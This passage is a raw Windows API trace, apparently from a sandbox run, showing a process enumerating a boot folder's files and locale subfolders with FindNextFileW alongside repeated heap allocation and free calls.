FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0066.332] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0066.332] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8a8 [0066.332] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.332] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1c) returned 0x3260168 [0066.332] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f290 [0066.332] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.332] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f8a8 | out: hHeap=0x5d0000) returned 1 [0066.332] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0066.332] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8a8 [0066.332] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.332] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x38) returned 0x31befa0 [0066.332] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fec0 [0066.332] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f290 | out: hHeap=0x5d0000) returned 1 [0066.332] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260168 | out: hHeap=0x5d0000) returned 1 [0066.332] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260168 [0066.332] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.332] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f8a8 | out: hHeap=0x5d0000) returned 1 [0066.332] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0066.332] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8a8 [0066.332] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.332] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x54) returned 0x3285c68 [0066.332] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f290 [0066.332] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff60 [0066.332] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fec0 | out: hHeap=0x5d0000) returned 1 [0066.332] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0066.332] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8a8 [0066.332] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.332] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0066.333] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fec0 [0066.333] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f998 [0066.333] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8d0 [0066.333] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0066.333] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8a8 [0066.333] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.333] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa8) returned 0x315d2d0 [0066.333] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff60 [0066.333] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f290 [0066.333] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fb78 [0066.333] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fe98 [0066.333] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0066.333] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8a8 [0066.333] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.333] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8d0 [0066.333] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0066.333] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8a8 [0066.333] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.333] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfc) returned 0x327dc68 [0066.333] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f998 [0066.333] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fec0 [0066.333] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260258 [0066.333] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fd30 [0066.333] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fad8 [0066.333] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ef70 [0066.333] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0066.333] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8a8 [0066.333] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.333] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260168 [0066.333] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0066.333] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8a8 [0066.334] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.334] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fe98 [0066.334] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0066.334] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8a8 [0066.334] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.334] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x16c) returned 0x30fb448 [0066.334] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fb78 [0066.334] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f290 [0066.334] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff60 [0066.334] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fb50 [0066.334] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f830 [0066.334] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32600c8 [0066.334] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0066.334] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fd80 [0066.334] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260118 [0066.334] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0066.334] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8a8 [0066.334] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.334] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260168 [0066.334] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0066.334] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8a8 [0066.334] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.334] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8d0 [0066.334] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0066.334] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8a8 [0066.334] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.334] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ef70 [0066.334] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0066.334] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0066.334] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8a8 [0066.334] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.334] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x214) returned 0x31ef180 [0066.335] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fad8 [0066.335] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fd30 [0066.335] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260258 [0066.335] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fec0 [0066.335] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f998 [0066.335] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fcb8 [0066.335] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260190 [0066.335] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.335] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.335] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.335] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f9e8 [0066.335] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fe70 [0066.335] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260000 [0066.335] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0066.335] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8a8 [0066.335] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.335] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8d0 [0066.335] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0066.335] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8a8 [0066.335] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.335] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260168 [0066.335] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0066.335] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8a8 [0066.335] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.335] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fe98 [0066.335] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0066.335] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8a8 [0066.335] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.335] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260118 [0066.335] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0066.335] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8a8 [0066.335] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.335] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fd80 [0066.336] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0066.336] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8a8 [0066.336] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.336] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x310) returned 0x328dbb8 [0066.336] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0066.336] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32600c8 [0066.336] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f830 [0066.336] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fb50 [0066.336] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff60 [0066.336] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f290 [0066.336] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fb78 [0066.336] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fa10 [0066.336] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32600f0 [0066.336] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f808 [0066.336] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260050 [0066.336] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32601e0 [0066.336] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f948 [0066.336] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff88 [0066.336] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f768 [0066.336] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f970 [0066.336] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fee8 [0066.336] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260230 [0066.336] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc90 [0066.336] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0066.336] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8a8 [0066.336] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.336] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260118 [0066.336] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0066.336] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8a8 [0066.336] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.336] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fe98 [0066.336] 